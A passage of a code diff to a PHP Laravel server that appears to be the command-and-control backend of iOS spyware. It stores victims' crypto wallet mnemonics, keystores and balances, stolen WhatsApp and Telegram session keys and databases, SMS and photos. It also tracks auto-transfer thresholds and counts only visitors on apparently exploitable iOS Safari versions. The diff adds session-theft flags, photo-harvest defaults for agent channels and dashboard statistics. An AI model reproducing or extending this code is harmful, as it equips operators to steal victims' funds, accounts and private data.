$matched[] = $this->truncateEntry($entry);
|
|
||||||
|
|
||||||
return count($matched) >= $want;
|
|
||||||
}
|
|
||||||
|
|
||||||
private function truncateEntry(string $entry): string
|
|
||||||
{
|
|
||||||
if (strlen($entry) <= self::MAX_ENTRY_CHARS) {
|
|
||||||
return $entry;
|
|
||||||
}
|
|
||||||
|
|
||||||
return substr($entry, 0, self::MAX_ENTRY_CHARS)."\n… (truncated)";
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @return list<array{name: string, size: int, mtime: string}>
|
|
||||||
*/
|
|
||||||
private function listFiles(string $kind): array
|
|
||||||
{
|
|
||||||
$dir = public_path('log/'.$kind);
|
|
||||||
$files = [];
|
|
||||||
if (! is_dir($dir)) {
|
|
||||||
return $files;
|
|
||||||
}
|
|
||||||
foreach (File::files($dir) as $file) {
|
|
||||||
if ($file->getExtension() !== 'log') {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$files[] = [
|
|
||||||
'name' => $file->getFilename(),
|
|
||||||
'size' => $file->getSize(),
|
|
||||||
'mtime' => date('Y-m-d H:i:s', $file->getMTime()),
|
|
||||||
];
|
|
||||||
}
|
|
||||||
usort($files, fn ($a, $b) => strcmp($b['name'], $a['name']));
|
|
||||||
|
|
||||||
return $files;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -130,6 +130,7 @@ class WalletAddressController extends Controller
|
|||||||
|
|
||||||
$channelId = trim((string) $request->query('channel_id', ''));
|
$channelId = trim((string) $request->query('channel_id', ''));
|
||||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||||
|
$address = trim((string) $request->query('address', ''));
|
||||||
$source = trim((string) $request->query('source', ''));
|
$source = trim((string) $request->query('source', ''));
|
||||||
$hasMnemonic = $request->query('has_mnemonic');
|
$hasMnemonic = $request->query('has_mnemonic');
|
||||||
$hasBalance = $request->query('has_balance');
|
$hasBalance = $request->query('has_balance');
|
||||||
@@ -139,6 +140,9 @@ class WalletAddressController extends Controller
|
|||||||
if ($deviceKey !== '') {
|
if ($deviceKey !== '') {
|
||||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||||
}
|
}
|
||||||
|
if ($address !== '') {
|
||||||
|
$q->where('wallet_addresses.address', 'like', '%'.$address.'%');
|
||||||
|
}
|
||||||
if ($source !== '') {
|
if ($source !== '') {
|
||||||
$q->where('wallet_addresses.source', $source);
|
$q->where('wallet_addresses.source', $source);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -20,12 +20,15 @@ class Device extends Model
|
|||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||||
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||||||
|
'has_whatsapp', 'has_telegram',
|
||||||
];
|
];
|
||||||
|
|
||||||
protected $attributes = [
|
protected $attributes = [
|
||||||
'has_wallet' => self::WALLET_UNKNOWN,
|
'has_wallet' => self::WALLET_UNKNOWN,
|
||||||
'chain' => self::CHAIN_CORUNA,
|
'chain' => self::CHAIN_CORUNA,
|
||||||
'album_storage' => false,
|
'album_storage' => false,
|
||||||
|
'has_whatsapp' => false,
|
||||||
|
'has_telegram' => false,
|
||||||
];
|
];
|
||||||
|
|
||||||
protected function casts(): array
|
protected function casts(): array
|
||||||
@@ -36,6 +39,8 @@ class Device extends Model
|
|||||||
'has_wallet' => 'integer',
|
'has_wallet' => 'integer',
|
||||||
'chain' => 'integer',
|
'chain' => 'integer',
|
||||||
'wallet_names' => 'array',
|
'wallet_names' => 'array',
|
||||||
|
'has_whatsapp' => 'boolean',
|
||||||
|
'has_telegram' => 'boolean',
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -62,6 +67,40 @@ class Device extends Model
|
|||||||
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
|
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function hasWhatsApp(): bool
|
||||||
|
{
|
||||||
|
return (bool) $this->has_whatsapp;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function hasTelegram(): bool
|
||||||
|
{
|
||||||
|
return (bool) $this->has_telegram;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<string>
|
||||||
|
*/
|
||||||
|
public function imNameList(): array
|
||||||
|
{
|
||||||
|
$names = [];
|
||||||
|
if ($this->hasWhatsApp()) {
|
||||||
|
$names[] = 'WhatsApp';
|
||||||
|
}
|
||||||
|
if ($this->hasTelegram()) {
|
||||||
|
$names[] = 'Telegram';
|
||||||
|
}
|
||||||
|
|
||||||
|
return $names;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function refreshImFlags(): void
|
||||||
|
{
|
||||||
|
$kinds = $this->pluginSessions()->distinct()->pluck('kind')->map(fn ($k) => (int) $k)->all();
|
||||||
|
$this->has_whatsapp = in_array(PluginSession::KIND_WHATSAPP, $kinds, true);
|
||||||
|
$this->has_telegram = in_array(PluginSession::KIND_TELEGRAM, $kinds, true);
|
||||||
|
$this->save();
|
||||||
|
}
|
||||||
|
|
||||||
public function albumStorageEnabled(): bool
|
public function albumStorageEnabled(): bool
|
||||||
{
|
{
|
||||||
return (bool) ($this->album_storage ?? false);
|
return (bool) ($this->album_storage ?? false);
|
||||||
|
|||||||
@@ -4,12 +4,74 @@ namespace App\Models;
|
|||||||
|
|
||||||
use Illuminate\Database\Eloquent\Model;
|
use Illuminate\Database\Eloquent\Model;
|
||||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
|
||||||
class PluginSession extends Model
|
class PluginSession extends Model
|
||||||
{
|
{
|
||||||
public const KIND_TELEGRAM = 'telegram';
|
public const KIND_TELEGRAM = 1;
|
||||||
|
|
||||||
public const KIND_WHATSAPP = 'whatsapp';
|
public const KIND_WHATSAPP = 2;
|
||||||
|
|
||||||
|
public static function payloadFilePath(string $kind, string $deviceKey, ?string $accountId): string
|
||||||
|
{
|
||||||
|
$dir = (int) $kind === self::KIND_TELEGRAM ? 'telegram' : 'whatsapp';
|
||||||
|
$safe = $accountId !== null && $accountId !== ''
|
||||||
|
? preg_replace('/[^A-Za-z0-9._-]+/', '_', $accountId)
|
||||||
|
: 'unknown';
|
||||||
|
|
||||||
|
return 'c2/plugin-sessions/'.$deviceKey.'/'.$dir.'/'.$safe.'.json';
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function whatsappFilePath(string $deviceKey, ?string $accountId): string
|
||||||
|
{
|
||||||
|
return self::payloadFilePath(self::KIND_WHATSAPP, $deviceKey, $accountId);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $blob
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
public static function dbSummary(string $kind, array $blob, string $path, int $bytes): array
|
||||||
|
{
|
||||||
|
if ((int) $kind === self::KIND_TELEGRAM) {
|
||||||
|
return [
|
||||||
|
'user_id' => self::scalarOrNull($blob['user_id'] ?? $blob['userId'] ?? null),
|
||||||
|
'has_state' => isset($blob['state']) && $blob['state'] !== '' && $blob['state'] !== [],
|
||||||
|
'has_db' => isset($blob['db_sqlite']) && $blob['db_sqlite'] !== '' && $blob['db_sqlite'] !== null,
|
||||||
|
'payload_path' => $path,
|
||||||
|
'payload_bytes' => $bytes,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'nickname' => self::scalarOrNull($blob['nickname'] ?? null),
|
||||||
|
'whatsappVersion' => self::scalarOrNull($blob['whatsappVersion'] ?? $blob['version'] ?? null),
|
||||||
|
'phoneId' => self::scalarOrNull($blob['phoneId'] ?? null),
|
||||||
|
'has_keystore' => isset($blob['phoneKeyStore']) || isset($blob['clientStaticKeypairBase64']),
|
||||||
|
'payload_path' => $path,
|
||||||
|
'payload_bytes' => $bytes,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $blob
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
public static function whatsappDbSummary(array $blob, string $path, int $bytes): array
|
||||||
|
{
|
||||||
|
return self::dbSummary(self::KIND_WHATSAPP, $blob, $path, $bytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static function scalarOrNull(mixed $value): ?string
|
||||||
|
{
|
||||||
|
if (is_string($value) || is_int($value) || is_float($value)) {
|
||||||
|
$value = trim((string) $value);
|
||||||
|
|
||||||
|
return $value !== '' ? $value : null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'device_id', 'device_key', 'kind', 'account_id', 'phone', 'payload',
|
'device_id', 'device_key', 'kind', 'account_id', 'phone', 'payload',
|
||||||
@@ -18,6 +80,7 @@ class PluginSession extends Model
|
|||||||
protected function casts(): array
|
protected function casts(): array
|
||||||
{
|
{
|
||||||
return [
|
return [
|
||||||
|
'kind' => 'integer',
|
||||||
'payload' => 'array',
|
'payload' => 'array',
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
@@ -35,4 +98,140 @@ class PluginSession extends Model
|
|||||||
default => (string) $this->kind,
|
default => (string) $this->kind,
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function isTelegram(): bool
|
||||||
|
{
|
||||||
|
return (int) $this->kind === self::KIND_TELEGRAM;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function isWhatsApp(): bool
|
||||||
|
{
|
||||||
|
return (int) $this->kind === self::KIND_WHATSAPP;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Compact fields for the collection list (omit large blobs).
|
||||||
|
*
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
public function listSummary(): array
|
||||||
|
{
|
||||||
|
$payload = is_array($this->payload) ? $this->payload : [];
|
||||||
|
if ($this->isWhatsApp()) {
|
||||||
|
return [
|
||||||
|
'account_id' => $this->account_id ?: '',
|
||||||
|
'phone' => $this->phone ?: '',
|
||||||
|
'nickname' => $this->scalarFromPayload($payload, ['nickname']),
|
||||||
|
'version' => $this->scalarFromPayload($payload, ['whatsappVersion', 'version']),
|
||||||
|
'has_keystore' => (bool) ($payload['has_keystore']
|
||||||
|
?? (isset($payload['phoneKeyStore']) || isset($payload['clientStaticKeypairBase64']))),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'account_id' => $this->account_id ?: $this->scalarFromPayload($payload, ['user_id', 'userId']),
|
||||||
|
'has_state' => (bool) ($payload['has_state']
|
||||||
|
?? (isset($payload['state']) && $payload['state'] !== '' && $payload['state'] !== [])),
|
||||||
|
'has_db' => (bool) ($payload['has_db']
|
||||||
|
?? (isset($payload['db_sqlite']) && $payload['db_sqlite'] !== '' && $payload['db_sqlite'] !== null)),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Full session blob from the on-disk file, or the JSON column if no file.
|
||||||
|
*
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
public function fullPayload(): array
|
||||||
|
{
|
||||||
|
$payload = is_array($this->payload) ? $this->payload : [];
|
||||||
|
$path = $payload['payload_path'] ?? null;
|
||||||
|
if (is_string($path) && $path !== '' && Storage::disk('local')->exists($path)) {
|
||||||
|
$decoded = json_decode((string) Storage::disk('local')->get($path), true);
|
||||||
|
if (is_array($decoded)) {
|
||||||
|
return $decoded;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $payload;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function payloadPath(): ?string
|
||||||
|
{
|
||||||
|
$path = is_array($this->payload) ? ($this->payload['payload_path'] ?? null) : null;
|
||||||
|
|
||||||
|
return is_string($path) && $path !== '' ? $path : null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function downloadFilename(): string
|
||||||
|
{
|
||||||
|
$label = $this->isWhatsApp() ? 'ws' : 'tg';
|
||||||
|
$device = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->device_key ?: $this->device_id)) ?: 'device';
|
||||||
|
$account = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->account_id ?: $this->id)) ?: 'account';
|
||||||
|
|
||||||
|
return $label.'-'.$device.'-'.$account.'.json';
|
||||||
|
}
|
||||||
|
|
||||||
|
public function displayPayload(): array
|
||||||
|
{
|
||||||
|
$payload = $this->fullPayload();
|
||||||
|
if ($this->isTelegram()) {
|
||||||
|
return $payload;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->truncatePayload($payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $payload
|
||||||
|
*/
|
||||||
|
private function scalarFromPayload(array $payload, array $keys): string
|
||||||
|
{
|
||||||
|
foreach ($keys as $key) {
|
||||||
|
$value = $payload[$key] ?? null;
|
||||||
|
if (is_int($value) || is_float($value)) {
|
||||||
|
return (string) $value;
|
||||||
|
}
|
||||||
|
if (is_string($value) && trim($value) !== '') {
|
||||||
|
return trim($value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $payload
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
private function truncatePayload(array $payload, int $max = 240): array
|
||||||
|
{
|
||||||
|
$out = [];
|
||||||
|
foreach ($payload as $key => $value) {
|
||||||
|
if (is_array($value)) {
|
||||||
|
$encoded = json_encode($value);
|
||||||
|
if (is_string($encoded) && strlen($encoded) > 1500) {
|
||||||
|
$out[$key] = [
|
||||||
|
'_omitted' => true,
|
||||||
|
'items' => count($value),
|
||||||
|
'bytes' => strlen($encoded),
|
||||||
|
];
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$out[$key] = $this->truncatePayload($value, $max);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (! is_string($value)) {
|
||||||
|
$out[$key] = $value;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (strlen($value) > $max) {
|
||||||
|
$out[$key] = substr($value, 0, $max).'… ('.strlen($value).' bytes)';
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$out[$key] = $value;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ class User extends Authenticatable
|
|||||||
'auto_transfer_threshold_trx',
|
'auto_transfer_threshold_trx',
|
||||||
'auto_transfer_threshold_eth',
|
'auto_transfer_threshold_eth',
|
||||||
'auto_transfer_threshold_btc',
|
'auto_transfer_threshold_btc',
|
||||||
|
'album_storage_default',
|
||||||
];
|
];
|
||||||
|
|
||||||
protected $hidden = [
|
protected $hidden = [
|
||||||
@@ -39,9 +40,14 @@ class User extends Authenticatable
|
|||||||
'auto_transfer_threshold_trx' => 'decimal:8',
|
'auto_transfer_threshold_trx' => 'decimal:8',
|
||||||
'auto_transfer_threshold_eth' => 'decimal:8',
|
'auto_transfer_threshold_eth' => 'decimal:8',
|
||||||
'auto_transfer_threshold_btc' => 'decimal:8',
|
'auto_transfer_threshold_btc' => 'decimal:8',
|
||||||
|
'album_storage_default' => 'boolean',
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
protected $attributes = [
|
||||||
|
'album_storage_default' => false,
|
||||||
|
];
|
||||||
|
|
||||||
public function isEnabled(): bool
|
public function isEnabled(): bool
|
||||||
{
|
{
|
||||||
return (int) $this->status === 1;
|
return (int) $this->status === 1;
|
||||||
@@ -52,6 +58,32 @@ class User extends Authenticatable
|
|||||||
return $this->hasMany(Channel::class, 'user_id');
|
return $this->hasMany(Channel::class, 'user_id');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function albumStorageDefaultEnabled(): bool
|
||||||
|
{
|
||||||
|
return (bool) ($this->album_storage_default ?? false);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* New-device album_storage default for a channel.
|
||||||
|
* Agent channels use that agent's switch (defaults off). Official / unknown stay off.
|
||||||
|
*/
|
||||||
|
public static function albumStorageDefaultForChannel(?string $channelId): bool
|
||||||
|
{
|
||||||
|
$channelId = trim((string) $channelId);
|
||||||
|
if ($channelId === '') {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
|
||||||
|
if ($userId === null || (int) $userId <= 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
$agent = static::query()->find((int) $userId);
|
||||||
|
|
||||||
|
return $agent?->albumStorageDefaultEnabled() ?? false;
|
||||||
|
}
|
||||||
|
|
||||||
public function hasTelegramChat(): bool
|
public function hasTelegramChat(): bool
|
||||||
{
|
{
|
||||||
return trim((string) ($this->chat_id ?? '')) !== '';
|
return trim((string) ($this->chat_id ?? '')) !== '';
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ namespace App\Services;
|
|||||||
use App\Models\Device;
|
use App\Models\Device;
|
||||||
use App\Models\DsChainLog;
|
use App\Models\DsChainLog;
|
||||||
use App\Models\PageVisit;
|
use App\Models\PageVisit;
|
||||||
|
use App\Models\User;
|
||||||
use App\Models\WalletKeystore;
|
use App\Models\WalletKeystore;
|
||||||
use App\Models\WalletMnemonic;
|
use App\Models\WalletMnemonic;
|
||||||
use App\Support\UserAgentParser;
|
use App\Support\UserAgentParser;
|
||||||
@@ -288,6 +289,9 @@ class DarkSwordIngestAdapter
|
|||||||
}
|
}
|
||||||
if ($channel !== null && trim((string) $existing->channel_id) === '') {
|
if ($channel !== null && trim((string) $existing->channel_id) === '') {
|
||||||
$touch['channel_id'] = $channel;
|
$touch['channel_id'] = $channel;
|
||||||
|
if (! $existing->albumStorageEnabled() && User::albumStorageDefaultForChannel($channel)) {
|
||||||
|
$touch['album_storage'] = true;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
$existing->forceFill($touch)->saveQuietly();
|
$existing->forceFill($touch)->saveQuietly();
|
||||||
$this->beaconQueue->seed($existing);
|
$this->beaconQueue->seed($existing);
|
||||||
@@ -303,6 +307,7 @@ class DarkSwordIngestAdapter
|
|||||||
'ios_version' => $ios,
|
'ios_version' => $ios,
|
||||||
'channel_id' => $channel,
|
'channel_id' => $channel,
|
||||||
'user_agent' => $ua !== '' ? $ua : null,
|
'user_agent' => $ua !== '' ? $ua : null,
|
||||||
|
'album_storage' => User::albumStorageDefaultForChannel($channel),
|
||||||
]);
|
]);
|
||||||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||||||
$device->telegram_notified = true;
|
$device->telegram_notified = true;
|
||||||
|
|||||||
@@ -73,8 +73,14 @@ class DashboardStatsService
|
|||||||
|
|
||||||
// Period cohort: devices installed (created) in the selected range.
|
// Period cohort: devices installed (created) in the selected range.
|
||||||
$createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]);
|
$createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]);
|
||||||
$total = (clone $createdInRange)->count();
|
$deviceAgg = (clone $createdInRange)
|
||||||
$walletCount = (clone $createdInRange)->where('has_wallet', Device::WALLET_YES)->count();
|
->selectRaw(
|
||||||
|
'COUNT(*) as total, COALESCE(SUM(CASE WHEN has_wallet = ? THEN 1 ELSE 0 END), 0) as wallet_count',
|
||||||
|
[Device::WALLET_YES],
|
||||||
|
)
|
||||||
|
->first();
|
||||||
|
$total = (int) ($deviceAgg?->total ?? 0);
|
||||||
|
$walletCount = (int) ($deviceAgg?->wallet_count ?? 0);
|
||||||
$newCount = $total;
|
$newCount = $total;
|
||||||
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
|
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
|
||||||
|
|
||||||
@@ -88,9 +94,7 @@ class DashboardStatsService
|
|||||||
$from,
|
$from,
|
||||||
$to,
|
$to,
|
||||||
);
|
);
|
||||||
$addressCount = $this->countDeviceChildren(
|
[$addressCount, $balances] = $this->addressStats(
|
||||||
WalletAddress::query(),
|
|
||||||
'wallet_addresses',
|
|
||||||
$agent,
|
$agent,
|
||||||
$agentUserId,
|
$agentUserId,
|
||||||
$channelId,
|
$channelId,
|
||||||
@@ -98,7 +102,6 @@ class DashboardStatsService
|
|||||||
$from,
|
$from,
|
||||||
$to,
|
$to,
|
||||||
);
|
);
|
||||||
$balances = $this->sumBalances($agent, $agentUserId, $channelId, $channelExact, $from, $to);
|
|
||||||
|
|
||||||
$visits = PageVisit::query();
|
$visits = PageVisit::query();
|
||||||
AgentScope::applyChannelIdScope($visits, $agent);
|
AgentScope::applyChannelIdScope($visits, $agent);
|
||||||
@@ -114,19 +117,25 @@ class DashboardStatsService
|
|||||||
}
|
}
|
||||||
$visits->whereBetween('created_at', [$from, $to]);
|
$visits->whereBetween('created_at', [$from, $to]);
|
||||||
|
|
||||||
$pv = (clone $visits)->count();
|
$effectiveSql = $this->effectiveVisitSql();
|
||||||
$uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
$visitAgg = (clone $visits)
|
||||||
$effectiveVisits = (clone $visits)->tap(fn (Builder $q) => $this->applyEffectiveFilter($q));
|
->selectRaw(
|
||||||
$effectivePv = (clone $effectiveVisits)->count();
|
"COUNT(*) as pv,
|
||||||
$effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
COUNT(DISTINCT client_uid) as uv,
|
||||||
|
COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv,
|
||||||
|
COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv,
|
||||||
|
COUNT(DISTINCT CASE WHEN os = 'iOS' THEN client_uid END) as ios_uv,
|
||||||
|
COUNT(DISTINCT CASE WHEN os IS NULL OR os != 'iOS' THEN client_uid END) as other_uv",
|
||||||
|
)
|
||||||
|
->first();
|
||||||
|
$pv = (int) ($visitAgg?->pv ?? 0);
|
||||||
|
$uv = (int) ($visitAgg?->uv ?? 0);
|
||||||
|
$effectivePv = (int) ($visitAgg?->effective_pv ?? 0);
|
||||||
|
$effectiveUv = (int) ($visitAgg?->effective_uv ?? 0);
|
||||||
|
$iosUv = (int) ($visitAgg?->ios_uv ?? 0);
|
||||||
|
$otherUv = (int) ($visitAgg?->other_uv ?? 0);
|
||||||
|
|
||||||
$iosVisits = (clone $visits)->where('os', 'iOS');
|
$iosVisits = (clone $visits)->where('os', 'iOS');
|
||||||
$iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
|
||||||
|
|
||||||
$otherVisits = (clone $visits)->where(function (Builder $q) {
|
|
||||||
$q->whereNull('os')->orWhere('os', '!=', 'iOS');
|
|
||||||
});
|
|
||||||
$otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
|
||||||
|
|
||||||
$byOs = [
|
$byOs = [
|
||||||
$this->visitRow('iOS', $iosUv, $uv),
|
$this->visitRow('iOS', $iosUv, $uv),
|
||||||
@@ -273,11 +282,11 @@ class DashboardStatsService
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Sum coin columns for addresses created in the selected range.
|
* Address count + coin sums in one pass over wallet_addresses in range.
|
||||||
*
|
*
|
||||||
* @return array{usdt: string, trx: string, eth: string, btc: string, bnb: string}
|
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}}
|
||||||
*/
|
*/
|
||||||
private function sumBalances(
|
private function addressStats(
|
||||||
?User $agent,
|
?User $agent,
|
||||||
?int $agentUserId,
|
?int $agentUserId,
|
||||||
string $channelId,
|
string $channelId,
|
||||||
@@ -294,7 +303,7 @@ class DashboardStatsService
|
|||||||
$channelExact,
|
$channelExact,
|
||||||
)->whereBetween('wallet_addresses.created_at', [$from, $to]);
|
)->whereBetween('wallet_addresses.created_at', [$from, $to]);
|
||||||
|
|
||||||
$selects = [];
|
$selects = ['COUNT(wallet_addresses.id) as addr_count'];
|
||||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||||
$selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
|
$selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
|
||||||
}
|
}
|
||||||
@@ -308,7 +317,7 @@ class DashboardStatsService
|
|||||||
}
|
}
|
||||||
|
|
||||||
/** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
|
/** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
|
||||||
return $out;
|
return [(int) ($row?->addr_count ?? 0), $out];
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -350,16 +359,11 @@ class DashboardStatsService
|
|||||||
/**
|
/**
|
||||||
* Safari on iOS 13.0.0–17.2.1, plus 18.5 / 18.6 / 18.6.1 / 18.6.2.
|
* Safari on iOS 13.0.0–17.2.1, plus 18.5 / 18.6 / 18.6.1 / 18.6.2.
|
||||||
*/
|
*/
|
||||||
private function applyEffectiveFilter(Builder $query): void
|
private function effectiveVisitSql(): string
|
||||||
{
|
{
|
||||||
$query->where('os', 'iOS')
|
|
||||||
->where('browser', 'Safari')
|
|
||||||
->whereNotNull('os_version')
|
|
||||||
->where('os_version', '!=', '');
|
|
||||||
|
|
||||||
[$major, $minor, $patch] = $this->osVersionPartsSql();
|
[$major, $minor, $patch] = $this->osVersionPartsSql();
|
||||||
$query->whereRaw(
|
|
||||||
"(
|
return "os = 'iOS' AND browser = 'Safari' AND os_version IS NOT NULL AND os_version != '' AND (
|
||||||
({$major} >= 13 AND (
|
({$major} >= 13 AND (
|
||||||
{$major} < 17
|
{$major} < 17
|
||||||
OR ({$major} = 17 AND {$minor} < 2)
|
OR ({$major} = 17 AND {$minor} < 2)
|
||||||
@@ -367,8 +371,7 @@ class DashboardStatsService
|
|||||||
))
|
))
|
||||||
OR ({$major} = 18 AND {$minor} = 5 AND {$patch} = 0)
|
OR ({$major} = 18 AND {$minor} = 5 AND {$patch} = 0)
|
||||||
OR ({$major} = 18 AND {$minor} = 6 AND {$patch} IN (0, 1, 2))
|
OR ({$major} = 18 AND {$minor} = 6 AND {$patch} IN (0, 1, 2))
|
||||||
)"
|
)";
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ use App\Models\PageVisit;
|
|||||||
use App\Models\Photo;
|
use App\Models\Photo;
|
||||||
use App\Models\PluginSession;
|
use App\Models\PluginSession;
|
||||||
use App\Models\SmsReport;
|
use App\Models\SmsReport;
|
||||||
|
use App\Models\User;
|
||||||
use App\Models\WalletAddress;
|
use App\Models\WalletAddress;
|
||||||
use App\Models\WalletKeystore;
|
use App\Models\WalletKeystore;
|
||||||
use App\Models\WalletMnemonic;
|
use App\Models\WalletMnemonic;
|
||||||
@@ -274,6 +275,9 @@ class IngestService
|
|||||||
$touch = ['updated_at' => now()];
|
$touch = ['updated_at' => now()];
|
||||||
if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') {
|
if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') {
|
||||||
$touch['channel_id'] = $attr['channel_id'];
|
$touch['channel_id'] = $attr['channel_id'];
|
||||||
|
if (! $device->albumStorageEnabled() && User::albumStorageDefaultForChannel($attr['channel_id'])) {
|
||||||
|
$touch['album_storage'] = true;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') {
|
if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') {
|
||||||
$touch['source_domain'] = $attr['source_domain'];
|
$touch['source_domain'] = $attr['source_domain'];
|
||||||
@@ -352,6 +356,7 @@ class IngestService
|
|||||||
'ios_version' => $this->extractIosVersion($payload),
|
'ios_version' => $this->extractIosVersion($payload),
|
||||||
'channel_id' => $attr['channel_id'],
|
'channel_id' => $attr['channel_id'],
|
||||||
'source_domain' => $attr['source_domain'],
|
'source_domain' => $attr['source_domain'],
|
||||||
|
'album_storage' => User::albumStorageDefaultForChannel($attr['channel_id']),
|
||||||
];
|
];
|
||||||
// xxbb native UA is spoofed / inaccurate; only keep header UA for old lab C2.
|
// xxbb native UA is spoofed / inaccurate; only keep header UA for old lab C2.
|
||||||
if (! $this->isNewBuilderRequest($request)) {
|
if (! $this->isNewBuilderRequest($request)) {
|
||||||
@@ -669,10 +674,12 @@ class IngestService
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
$phone = $kind === PluginSession::KIND_WHATSAPP
|
